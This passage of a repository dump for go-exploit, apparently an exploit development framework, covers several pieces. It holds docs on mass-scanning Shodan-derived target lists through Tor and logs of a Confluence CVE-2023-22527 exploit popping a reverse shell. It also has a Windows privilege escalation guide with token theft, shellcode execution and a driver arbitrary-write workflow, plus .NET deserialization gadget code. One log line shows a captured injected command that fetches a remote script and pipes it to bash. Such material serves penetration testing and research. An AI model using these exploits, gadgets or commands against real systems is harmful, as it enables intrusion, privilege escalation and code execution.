================================================ # Scanning `go-exploit` is designed to scan many hosts at once, and there are a number of features that support that design. ## Providing Targets Let's start with providing targets to a `go-exploit`. The system understands three command line options for targets: 1. `-rhost`: single target 2. `-rhosts`: multiple targets 3. `-rhosts-file`: multiple targets in a file ### Provide Targets via Command Line The standard way to provide a single target is via `-rhost`. This accepts one target in the form of a hostname, IPv4 address, or IPv6 address. Example: ```sh ./build/cve-2023-51467_linux-arm64 -c -rhost 10.9.49.88 ``` To specify more than one target, you can use the `rhosts` flag. This supports comma delimited targets as well as CIDR notation. Examples: ```sh ./build/cve-2023-51467_linux-arm64 -a -v -rhosts 10.9.49.174,10.9.49.205 -rports 80,10000 ``` ```sh ./build/cve-2023-38646_linux-arm64 -v -rhosts 192.168.1.0/24 -rport 80 ``` ### Provide Targets via File Lists of targets can also be provided via file using the `-rhosts-file` flag. Three file formats are supported: 1. Target format of `:`, one per line 2. Target format of `,,`, one per line 3. [VulnCheck IP Intel JSON](https://docs.vulncheck.com/products/initial-access-intelligence/ip-intel#detection-types), one per line #### Example Using Shodan While `go-exploit` is not currently hooked up to the Shodan API, it is easy to massage Shodan results into a format that `go-exploit` can ingest via `-rhosts-file`. The following example demonstrates converting Shodan results into the `,,` format. ```sh albinolobster@mournland:~$ shodan count html:"jive-loginVersion" 6549 albinolobster@mournland:~$ shodan download openfire html:"jive-loginVersion" Search query: html:jive-loginVersion Total number of results: 6549 Query credits left: 9531 Output file: openfire.json.gz [###################################-] 99% 00:00:00 Saved 1000 results into file openfire.json.gz albinolobster@mournland:~$ shodan parse --fields ip_str,port,ssl.jarm --separator , openfire.json.gz > openfire.csv albinolobster@mournland:~$ tail openfire.csv 51.222.136.154,9090, 158.69.113.214,9091,07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175 217.222.136.11,9090, 201.245.189.172,9090, 200.170.135.46,9090, 74.84.138.186,9090, 115.22.164.115,9090, 192.99.169.243,9090, 117.248.109.34,9090, 208.180.74.57,9090, albinolobster@mournland:~$ ./build/cve-2023-32315_linux-arm64 -v -rhosts-file ./openfire.csv ``` ### Provide Targets via Stdin Targets can also be provided via stdin. `go-exploit` accepts all `-rhosts-file` formats listed above. Usage example: ``` albinolobster@mournland:~/cve-2023-51467$ echo 10.9.49.88:8443 | ./build/cve-2023-51467_linux-arm64 -a -c -rhosts-file - -lhost 192.168.1.91 -lport 1270 time=2024-03-05T09:19:06.627-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true time=2024-03-05T09:19:06.713-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8443 time=2024-03-05T09:19:07.251-05:00 level=VERSION msg="The self-reported version is: 18.12" host=10.9.49.88 port=8443 version=18.12 time=2024-03-05T09:19:07.251-05:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.88 port=8443 vulnerable=possibly ``` Note that providing targets via stdin disables use of any C2 that also would have used stdin (e.g. the reverse shells). ## Proxy `go-exploit` supports HTTP, HTTPS, and SOCKS5 proxy via the `-proxy` command line option. All TCP connections (`TCPConnect`, `TLSConnect`, and `MixedConnect`) are proxy aware and will honor the SOCKS5 proxy. The various HTTP functions will all work as expected with an HTTP or HTTPS proxy. The following example demonstrates scanning via local Tor socks5 proxy on port 9050: ``` albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")' { "time": "2023-08-31T13:45:35.781849255-04:00", "level": "SUCCESS", "msg": "Extracted the variable", "rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;", "host": "x.x.x.x", "port": 10909 } ``` ## Autodetect SSL It is often the case, when doing mass scanning, that we aren't sure if the targets use of SSL. `go-exploit` solves this by providing the `-a` flag, or SSL "autodetect" flag. When this flag is in use, the first interaction the `go-exploit` will have with the target is probing for SSL usage. The `go-exploit` will then honor the results of the probe for the remainder usage. ================================================ FILE: docs/usage-example.md ================================================ # Example Usage ## Target Validation Validate the remote target is target using the `-v` command line option with `-rhost` and `-rport`: ```sh albinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -v -rhost 10.9.49.88 -rport 8090 time=2024-02-22T12:06:11.761-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=false time=2024-02-22T12:06:11.761-05:00 level=STATUS msg="Validating Confluence target" host=10.9.49.88 port=8090 time=2024-02-22T12:06:11.864-05:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true ``` ## Version Checking Perform a version check on the remote target using the `-c` command line option with `-rhost` and `-rport`: ```sh albinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -c -rhost 10.9.49.88 -rport 8090 time=2024-02-22T12:07:05.888-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=false time=2024-02-22T12:07:05.888-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8090 time=2024-02-22T12:07:06.023-05:00 level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.88 port=8090 version=8.5.3 time=2024-02-22T12:07:06.023-05:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes ``` ## Exploitation Perform a exploitation using the `-e` command line option with `-rhost` and `-rport`. Exploits that implement `CodeExecution` will also require `-rhost` and `-rport`. ```sh albinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270 time=2024-02-22T12:07:39.156-05:00 level=STATUS msg="Starting listener on 10.9.49.85:1270" time=2024-02-22T12:07:39.156-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=false time=2024-02-22T12:07:39.156-05:00 level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.88:8090/template/aui/text-inline.vm" time=2024-02-22T12:07:39.303-05:00 level=STATUS msg="Sending class QYfJPraDTtlQi to http://10.9.49.88:8090/template/aui/text-inline.vm" time=2024-02-22T12:07:39.331-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:49344" time=2024-02-22T12:07:39.332-05:00 level=STATUS msg="Active shell from 10.9.49.88:49344" id uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root) whoami confluence ``` #### Everything at once! Target verification, version scanning, and exploitation are intended to be cchained. You can use them all at once using `-e`, `-v`, and `-c` on the command line. ```sh albinolobster@mournland:~/initial-access/feed/cve-2023-22527$ ./build/cve-2023-22527_linux-arm64 -e -v -c -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.85 -lport 1270 time=2024-02-22T12:08:20.911-05:00 level=STATUS msg="Starting listener on 10.9.49.85:1270" time=2024-02-22T12:08:20.911-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=false time=2024-02-22T12:08:20.911-05:00 level=STATUS msg="Validating Confluence target" host=10.9.49.88 port=8090 time=2024-02-22T12:08:21.107-05:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true time=2024-02-22T12:08:21.107-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8090 time=2024-02-22T12:08:21.193-05:00 level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.88 port=8090 version=8.5.3 time=2024-02-22T12:08:21.193-05:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes time=2024-02-22T12:08:21.193-05:00 level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.88:8090/template/aui/text-inline.vm" time=2024-02-22T12:08:21.273-05:00 level=STATUS msg="Sending class TTFeAnsZZRep to http://10.9.49.88:8090/template/aui/text-inline.vm" time=2024-02-22T12:08:21.301-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:46412" time=2024-02-22T12:08:21.301-05:00 level=STATUS msg="Active shell from 10.9.49.88:46412" id uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root) whoami confluence ``` ================================================ FILE: docs/version-checking.md ================================================ # Version Checking Version checking is a crucial step in the exploit process to ensure that the target is vulnerable and worth exploiting. The `CheckVersion` function in `go-exploit` determines whether the exploit will attempt to exploit the target. It has five possible return values defined in `framework.go`: 1. *NotVulnerable* - Indicates that the target is not vulnerable, and the exploit will not attempt to exploit it. 2. *Vulnerable* - Indicates that the target is vulnerable, and the exploit will attempt to exploit it. 3. *PossiblyVulnerable* - Indicates that the target might be vulnerable, and the exploit will attempt to exploit it. 4. *Unknown* - Indicates that an error occurred during version checking, and the exploit will not attempt to exploit the target. 5. *NotImplemented* - Indicates that no version check is implemented, and the exploit will attempt to exploit the target. Here's an example of a version check function for CVE-2017-20149: ```go func (sploit MTStackClash) CheckVersion(conf *config.Config) exploit.VersionCheckType { version, ok := getRouterOSVersion(conf) if !ok { return exploit.Unknown } output.PrintfStatus("The self-reported version is: %s", version) major, minor, point := versionToInt(version) if major == 0 { return exploit.Unknown } if major != 6 || minor >= 39 { return exploit.NotVulnerable } if minor == 38 && point >= 5 { return exploit.NotVulnerable } if minor == 37 && point >= 5 { return exploit.NotVulnerable } return exploit.Vulnerable } ``` In this example, the function retrieves the target's version using the `getRouterOSVersion` function and performs a series of checks. If the version is unknown or if the target is not running RouterOS version 6 or has a minor version greater than or equal to 39, it returns *NotVulnerable*. If the minor version is 38 and the point version is greater than or equal to 5, or if the minor version is 37 and the point version is greater than or equal to 5, it also returns *NotVulnerable*. Otherwise, it concludes that the target is *Vulnerable*. ================================================ FILE: docs/windows-lpe.md ================================================ # Windows Local Privilege Escalation The `windows` package provides primitives for developing Windows LPE exploits. It wraps low-level Windows APIs into a consistent interface that works with the go-exploit framework, handling error reporting and cross-platform compilation. For general exploit structure, see [Getting Started](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md). For exploit types, see [Exploit Types](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/exploit-types.md). ## Exploit Skeleton A Windows LPE follows the standard go-exploit pattern but uses `config.NewLocalExploit` instead of `config.NewRemoteExploit`: ```go package main import ( exploit "github.com/vulncheck-oss/go-exploit" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/windows" ) type MyLPE struct{} func (sploit MyLPE) ValidateTarget(conf *config.Config) bool { info, ok := windows.GetPlatformInfo() if !ok { return false } return info.OS == "windows" } func (sploit MyLPE) CheckVersion(conf *config.Config) exploit.VersionCheckType { info, ok := windows.GetPlatformInfo() if !ok { return exploit.Unknown } // Check for vulnerable build range if info.BuildNumber >= 19041 && info.BuildNumber <= 22000 { return exploit.Vulnerable } return exploit.NotVulnerable } func (sploit MyLPE) RunExploit(conf *config.Config) bool { if windows.IsSystem() { output.PrintSuccess("Already SYSTEM") return true } // Exploit logic goes here return true } func main() { conf := config.NewLocalExploit( config.ImplementedFeatures{ AssetDetection: true, VersionScanning: true, Exploitation: true, }, config.Local, []c2.Impl{}, "Microsoft", []string{"Windows 10", "Windows 11"}, []string{"cpe:2.3:o:microsoft:windows_10", "cpe:2.3:o:microsoft:windows_11"}, "CVE-2024-30088", ) sploit := MyLPE{} exploit.RunProgram(sploit, conf) } ``` ## Platform Detection Check what you're running on before attempting exploitation: ```go info, ok := windows.GetPlatformInfo() if !ok { return false } output.PrintfStatus("Build %d, Arch %s", info.BuildNumber, info.Arch) output.PrintfStatus("User: %s, Integrity: %s", info.Username, info.IntegrityLevel.String()) // Quick privilege checks if windows.IsSystem() { output.PrintSuccess("Already SYSTEM") return true } if !windows.IsAdmin() { output.PrintError("Requires admin privileges") return false } ``` The `PlatformInfo` struct contains: - `BuildNumber`, `Version`, `ProductName`, `IsServer` - OS details - `IsAdmin`, `IsSystem`, `IsElevated`, `IntegrityLevel` - privilege info - `CurrentPID`, `SessionID`, `Username`, `ComputerName` - process context ## Token Theft Token theft is a common post-exploitation technique. The package provides both low-level and convenience functions. ### Quick Elevation The simplest path to SYSTEM when running as admin: ```go if !windows.ElevateToSystem() { output.PrintError("Failed to elevate") return false } defer windows.RevertToSelf() output.PrintSuccess("Running as SYSTEM") // Do privileged operations here ``` `ElevateToSystem` finds a SYSTEM process (preferring `services.exe` to avoid EDR triggers), steals its token, and impersonates it. ### Targeting a Specific Process When you need a token from a specific process: ```go // Find the target pid, ok := windows.FindProcess("winlogon.exe") if !ok { return false } // Steal and impersonate in one call if !windows.StealAndImpersonate(pid) { return false } defer windows.RevertToSelf() ``` ### Manual Token Operations For more control over the process: ```go // Open the process token token, ok := windows.OpenProcessTokenByPID(pid, windows.TokenDuplicate|windows.TokenQuery) if !ok { return false } defer windows.CloseToken(token) // Check what we got user, _ := windows.GetTokenUser(token) output.PrintfStatus("Token belongs to: %s", user) // Duplicate for impersonation dupToken, ok := windows.DuplicateToken(token, windows.SecurityImpersonation, windows.TokenTypeImpersonation) if !ok { return false } defer windows.CloseToken(dupToken) // Impersonate if !windows.ImpersonateToken(dupToken) { return false } defer windows.RevertToSelf() ``` ### Token Information Query token details for reconnaissance or validation: ```go token, ok := windows.OpenProcessTokenByPID(pid, windows.TokenQuery) if !ok { return false } defer windows.CloseToken(token) // Get detailed info info, ok := windows.GetTokenInfo(token) if ok { output.PrintfStatus("Owner: %s, Integrity: %s", info.Owner, info.IntegrityLevel.String()) output.PrintfStatus("Elevated: %v", info.IsElevated) for _, priv := range info.Privileges { output.PrintfStatus(" %s", priv) } } // Or query specific attributes user, _ := windows.GetTokenUser(token) integrity := windows.GetTokenIntegrity(token) elevated := windows.IsTokenElevated(token) sessionID, _ := windows.GetTokenSessionID(token) ``` ## Privilege Management Many exploits require specific privileges to be enabled: ```go // Enable SeDebugPrivilege for cross-process access if !windows.EnablePrivilege(windows.SeDebugPrivilege) { output.PrintError("Failed to enable SeDebugPrivilege") return false } // Common privileges for LPE work windows.EnablePrivilege(windows.SeImpersonatePrivilege) windows.EnablePrivilege(windows.SeAssignPrimaryTokenPrivilege) windows.EnablePrivilege(windows.SeLoadDriverPrivilege) windows.EnablePrivilege(windows.SeBackupPrivilege) windows.EnablePrivilege(windows.SeRestorePrivilege) ``` ## Process Enumeration Find processes for targeting: ```go // Find by name (case-insensitive) pid, ok := windows.FindProcess("lsass.exe") if ok { output.PrintfStatus("lsass.exe is PID %d", pid) } // Find all instances of a process pids, ok := windows.FindProcesses("svchost.exe") if ok { output.PrintfStatus("Found %d svchost instances", len(pids)) } // Enumerate all processes processes, ok := windows.EnumProcesses() if ok { for _, p := range processes { output.PrintfStatus("PID %d: %s (session %d)", p.PID, p.Name, p.SessionID) } } // Get detailed info on a specific process info, ok := windows.GetProcessInfo(pid) if ok { output.PrintfStatus("%s: path=%s, wow64=%v", info.Name, info.Path, info.IsWow64) } ``` ## Driver Exploitation For exploits targeting vulnerable kernel drivers. ### Opening a Device ```go device, ok := windows.OpenDevice(`\\.\VulnDriver`, windows.GenericRead|windows.GenericWrite) if !ok { return false } defer windows.CloseHandle(device) ``` ### Sending IOCTLs Build the IOCTL code and send it: ```go // Build IOCTL code // CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) ioctl := windows.CtlCode( windows.FileDeviceUnknown, 0x800, windows.MethodBuffered, windows.FileAnyAccess, ) // Send with byte buffers inBuf := []byte{0x41, 0x41, 0x41, 0x41} outBuf := make([]byte, 256) bytesReturned, ok := windows.DeviceIoControl(device, ioctl, inBuf, outBuf) if !ok { return false } output.PrintfStatus("IOCTL returned %d bytes", bytesReturned) ``` For structured data, use `DeviceIoControlPtr`: ```go type exploitRequest struct { TargetAddress uintptr Value uint64 } req := exploitRequest{ TargetAddress: targetAddr, Value: 0x4141414141414141, } _, ok := windows.DeviceIoControlPtr( device, ioctl, unsafe.Pointer(&req), uint32(unsafe.Sizeof(req)), nil, 0, ) ``` ### Loading Your Own Driver When an exploit requires loading a vulnerable driver (requires `SeLoadDriverPrivilege`): ```go windows.EnablePrivilege(windows.SeLoadDriverPrivilege) if !windows.LoadDriver("C:\\Windows\\Temp\\vuln.sys", "VulnDriver") { return false } defer windows.UnloadDriver("VulnDriver") // Now open and exploit it device, ok := windows.OpenDevice(`\\.\VulnDriver`, windows.GenericRead|windows.GenericWrite) if !ok { return false } defer windows.CloseHandle(device) ``` ## Service Operations Interact with the Service Control Manager: ```go // Check if a service is running and get its PID if windows.IsServiceRunning("AppIDSvc") { pid, ok := windows.GetServicePID("AppIDSvc") if ok { output.PrintfStatus("AppIDSvc running as PID %d", pid) } } // Get detailed service info info, ok := windows.GetServiceInfo("Spooler") if ok { output.PrintfStatus("%s (%s): %s", info.Name, info.DisplayName, info.BinaryPath) } // Start/stop services windows.StartService("Spooler") windows.StopService("Spooler") // Enumerate all services services, ok := windows.EnumServices() if ok { for _, svc := range services { if svc.Status == windows.ServiceRunning { output.PrintfStatus("%s running as PID %d", svc.Name, svc.PID) } } } // Enumerate kernel drivers specifically drivers, ok := windows.EnumDrivers() ``` ## Memory Operations Allocate, protect, and manipulate memory: ### Local Process Memory ```go // Allocate RW memory addr, ok := windows.VirtualAlloc(0, 4096, windows.MemCommit|windows.MemReserve, windows.PageReadWrite) if !ok { return false } defer windows.VirtualFree(addr, 0, windows.MemRelease) // Write shellcode (example: copy data to allocated memory) shellcode := []byte{0x90, 0x90, 0x90, 0xcc} // NOP NOP NOP INT3 copy((*[4096]byte)(unsafe.Pointer(addr))[:], shellcode) // Make executable oldProtect, ok := windows.VirtualProtect(addr, 4096, windows.PageExecuteRead) if !ok { return false } output.PrintfStatus("Changed protection from 0x%x to RX", oldProtect) // Query memory region region, ok := windows.VirtualQuery(addr) if ok { output.PrintfStatus("Region: base=0x%x size=0x%x protect=0x%x", region.BaseAddress, region.RegionSize, region.Protect) } ``` ### Remote Process Memory ```go // Open target process with memory access process, ok := windows.OpenProcess(pid, windows.ProcessVMOperation|windows.ProcessVMRead|windows.ProcessVMWrite) if !ok { return false } defer windows.CloseHandle(process) // Allocate in remote process remoteAddr, ok := windows.VirtualAllocEx(process, 0, 4096, windows.MemCommit|windows.MemReserve, windows.PageReadWrite) if !ok { return false } defer windows.VirtualFreeEx(process, remoteAddr, 0, windows.MemRelease) // Write to remote process data := []byte("payload data here") written, ok := windows.WriteProcessMemory(process, remoteAddr, data) if ok { output.PrintfStatus("Wrote %d bytes to remote process", written) } // Read from remote process buffer := make([]byte, 256) read, ok := windows.ReadProcessMemory(process, remoteAddr, buffer) if ok { output.PrintfStatus("Read %d bytes from remote process", read) } // Change remote memory protection oldProtect, ok := windows.VirtualProtectEx(process, remoteAddr, 4096, windows.PageExecuteRead) ``` ### File Mappings Create shared memory sections: ```go // Create a file mapping (shared memory) mapping, ok := windows.CreateFileMapping( windows.InvalidHandleValue, // No backing file 0x1000, // 4KB windows.PageReadWrite, "Local\\MySharedMem", ) if !ok { return false } defer windows.CloseHandle(mapping) // Map view into address space view, ok := windows.MapViewOfFile(mapping, windows.FileMapWrite, 0, 0x1000) if !ok { return false } defer windows.UnmapViewOfFile(view) // Use the mapped memory data := (*[0x1000]byte)(unsafe.Pointer(view)) copy(data[:], []byte("shared data")) ``` ## Handle Operations Query and duplicate handles across processes: ```go // Get all handles in the system allHandles, ok := windows.QuerySystemHandles() if ok { output.PrintfStatus("System has %d handles", len(allHandles)) } // Get handles for a specific process handles, ok := windows.QueryProcessHandles(pid) if ok { output.PrintfStatus("Process %d has %d handles", pid, len(handles)) } // Get handles of a specific type (e.g., ALPC ports) alpcHandles, ok := windows.QueryProcessHandlesByType(pid, windows.AlpcPortObjectType) if ok { for _, h := range alpcHandles { output.PrintfStatus("ALPC handle: 0x%x at object 0x%x", h.HandleValue, h.ObjectAddress) } } // Duplicate a handle from another process into ours dupHandle, ok := windows.DuplicateHandleFromProcess(pid, handleValue) if ok { defer windows.CloseHandle(dupHandle) // Now we can use the handle locally } ``` ## ALPC Query ALPC port information (useful for certain kernel exploits): ```go // Find ALPC ports in a process ports, ok := windows.EnumALPCPorts(pid) if ok { for _, port := range ports { output.PrintfStatus("ALPC port handle 0x%x", port.HandleValue) } } // Query section info from an ALPC port handle sectionInfo, ok := windows.QueryALPCPortSectionInfo(portHandle) if ok { output.PrintfStatus("Section: handle=0x%x size=0x%x base=0x%x", sectionInfo.SectionHandle, sectionInfo.SectionSize, sectionInfo.ViewBase) } ``` ## Putting It Together: Example Workflows ### Token Theft from a Service ```go func (sploit MyLPE) RunExploit(conf *config.Config) bool { // Need admin to steal tokens if !windows.IsAdmin() { output.PrintError("Requires admin") return false } // Find the Spooler service PID if !windows.IsServiceRunning("Spooler") { if !windows.StartService("Spooler") { return false } } pid, ok := windows.GetServicePID("Spooler") if !ok { return false } output.PrintfStatus("Spooler running as PID %d", pid) // Steal its token if !windows.StealAndImpersonate(pid) { return false } defer windows.RevertToSelf() // Verify elevation if windows.IsSystem() { output.PrintSuccess("Got SYSTEM via Spooler token") return true } return false } ``` ### Driver-Based Arbitrary Write ```go func (sploit MyLPE) RunExploit(conf *config.Config) bool { // Open the vulnerable driver device, ok := windows.OpenDevice(`\\.\VulnDrv`, windows.GenericRead|windows.GenericWrite) if !ok { return false } defer windows.CloseHandle(device) // Allocate memory for our payload shellcodeAddr, ok := windows.VirtualAlloc(0, 4096, windows.MemCommit|windows.MemReserve, windows.PageReadWrite) if !ok { return false } defer windows.VirtualFree(shellcodeAddr, 0, windows.MemRelease) // Copy shellcode and make it executable shellcode := getShellcode() // your shellcode here copy((*[4096]byte)(unsafe.Pointer(shellcodeAddr))[:], shellcode) windows.VirtualProtect(shellcodeAddr, 4096, windows.PageExecuteRead) // Use the driver's arbitrary write to redirect execution ioctl := windows.CtlCode(windows.FileDeviceUnknown, 0x800, windows.MethodBuffered, windows.FileAnyAccess) type writeRequest struct { Where uintptr What uintptr } req := writeRequest{ Where: targetAddr, // address to overwrite What: shellcodeAddr, // our shellcode } _, ok = windows.DeviceIoControlPtr(device, ioctl, unsafe.Pointer(&req), uint32(unsafe.Sizeof(req)), nil, 0) if !ok { return false } output.PrintStatus("Write primitive triggered") return true } ``` ## Cross-Platform Compilation The package compiles on any platform but only functions on Windows. Functions return `false` or stub values on non-Windows systems: ```go if !windows.IsWindows() { output.PrintError("This exploit only runs on Windows") return false } ``` Exploits can be cross-compiled from Linux/macOS for Windows targets: ```sh GOOS=windows GOARCH=amd64 go build -o exploit.exe ``` ================================================ FILE: dotnet/data/ReturnMessage.xml ================================================  SOAP-ENV:Server **** System.Exception - Exception of type 'System.Exception' was thrown. System.Exception 0 -2146233088 1 1 x <_Major>2 <_Minor>0 <_Build>-1 <_Revision>-1 ================================================ FILE: dotnet/dotnetgadget.go ================================================ /* Package dotnet contains all of the gadget creation functions for use in exploits. Calling a gadget can be as simple as: payload, ok := CreateWindowsIdentity("cmd", "/c calc", dotnet.BinaryFormatter) if !ok { return "", false } The exceptions are: - CreateObjectRef and CreateVeeamCryptoKeyInfo as those take (url string, formatter string) instead. - Targets using Protect and require the encryption key material and context. Any of the Create gadget funcs can be called with "" as their formatter which will return just the binary stream of the object, which is the same as binaryformatter. This package additionally provides the primitives for creating new gadgets, which are comprised of a series of 'records' that ultimately define a class and its members. The general format for a new gadget is similar to: serializationHeaderRecord + binLibString CLASSWITHMEMBERSANDTYPES(ClassObjectID INT32 (usually incremented from 1) + ClassName + MemberCount, MemberNames + AdditionalInfo + []byte{member0Type, member1Type, memberNType, ...} + Library ID INT32 + Array of Membervalues) + string(byte(RecordTypeEnumMap["MessageEnd"])) (just a 0xb) Sometimes this format gets a bit more complicated because the member values array will contain CLASSWITHMEMBERSANDTYPES records as array items so it's a nested class. Also where ArraySingleStringRecord and ArraySinglePrimitiveRecord are concerned, these get referenced in member values and then are appended after the class record like so: payload := serializationHeaderRecordString + binaryLibraryRecordString + classWithMembersAndTypesString + arraySingleStringRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) */ package dotnet import ( "bytes" "embed" "encoding/base64" "encoding/json" "encoding/xml" "fmt" "path/filepath" "strings" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/random" "github.com/vulncheck-oss/go-exploit/transform" ) //go:embed data var data embed.FS // ReadGadget reads a gadget chain file by gadget name and formatter. func ReadGadget(gadgetName, formatter string) ([]byte, error) { gadget, err := data.ReadFile(filepath.Join("data", formatter, gadgetName+".bin")) if err != nil { return nil, fmt.Errorf("dotnet.ReadGadget: %w", err) } return gadget, nil } func lengthPrefixedString(input string) string { prefix := string(Write7BitEncodedInt(len(input))) return prefix + input } // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/10b218f5-9b2b-4947-b4b7-07725a2c8127 // https://referencesource.microsoft.com/#mscorlib/system/io/binarywriter.cs,2daa1d14ff1877bd func Write7BitEncodedInt(value int) []byte { var ( bs []byte v = uint(value) ) for v >= 0x80 { bs = append(bs, byte(v|0x80)) v >>= 7 } bs = append(bs, byte(v)) return bs } // TextFormattingRunPropertiesBinaryFormatter serializes a TextFormattingRunProperties gadget chain using the BinaryFormatter formatter. func TextFormattingRunPropertiesBinaryFormatter(cmd string) string { // ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c mspaint.exe gadget, err := ReadGadget("TextFormattingRunProperties", BinaryFormatter) if err != nil { output.PrintFrameworkError(err.Error()) return "" } const ( xmlLen7Bit = "\xba\x05" xmlLenBase = 687 ) // Replace length-prefixed placeholder command with supplied command escapedCmd := transform.EscapeXML(cmd) gadget = bytes.Replace(gadget, []byte("mspaint.exe"), []byte(escapedCmd), 1) gadget = bytes.Replace(gadget, []byte(xmlLen7Bit), Write7BitEncodedInt(xmlLenBase+len(escapedCmd)), 1) return string(gadget) } func IsValidXML(data []byte) bool { return xml.Unmarshal(data, new(any)) == nil } func CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bool) { binaryLibrary := BinaryLibraryRecord{ID: 2, Library: "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} className := "System.Windows.Forms.AxHost+State" memberNames := []string{"PropertyBagBinary"} additionalInfo := []any{PrimitiveTypeEnum["Byte"]} memberValues := []any{MemberReferenceRecord{IDRef: 3}} memberTypes := []string{ "PrimitiveArray", } innerNewGadget, ok := CreateDLLReflection(dllBytes, BinaryFormatter) if !ok { return "", false } // the member here is going to be yet another gadget, should be around 0xc7 37 00 00 arraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{ PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"], ArrayInfo: ArrayInfo{ObjectID: 3, MemberCount: len(innerNewGadget)}, Members: string([]byte(innerNewGadget)), } classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames} memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo) if !ok { return "", false } classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: 2, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary} // FINALIZE serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binLibString, _ := binaryLibrary.ToRecordBin() classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin() if !ok { return "", false } arraySinglePrimitiveRecordString, ok := arraySinglePrimitiveRecord.ToRecordBin() if !ok { return "", false } payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case LOSFormatter: return FormatLOS(payload), true case BinaryFormatter: return payload, true default: output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'") return "", false } } // Serves a DLL in memory, used by CreateAxHostStateDLL. func CreateDLLReflection(dllBytes []byte, formatter string) (string, bool) { // This one is so large that it makes more sense to just build the "final" gadget as we go, so that's what is going to happen with this one. var finalGadget string var records []Record serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} records = append(records, serializationHeaderRecord) // SCWMT OBJECTID 1 binaryLibrary := BinaryLibraryRecord{ID: 2, Library: "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} memberNames := []string{"_items", "_size", "_version"} memberTypeInfo, ok := getMemberTypeInfo([]string{"ObjectArray", "Primitive", "Primitive"}, memberNames, []any{PrimitiveTypeEnum["Int32"], PrimitiveTypeEnum["Int32"]}) if !ok { return "", false } systemClassWithMembersAndTypesID1 := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: 1, Name: "System.Collections.Generic.List`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", MemberCount: len(memberNames), MemberNames: memberNames, }, MemberTypeInfo: memberTypeInfo, MemberValues: []any{ MemberReferenceRecord{IDRef: 2}, PrimitiveInt32(0x0a), PrimitiveInt32(0x0a), }, } records = append(records, systemClassWithMembersAndTypesID1) // ASO OBJ 2 var arraySingleObjectMemberValues []any /// Building inner types for the array binaryArrayRecord := BinaryArrayRecord{ ObjectID: 3, BinaryArrayTypeEnum: 1, // 1byte Rank: 1, // >=0 Lengths: []int{1}, TypeEnum: 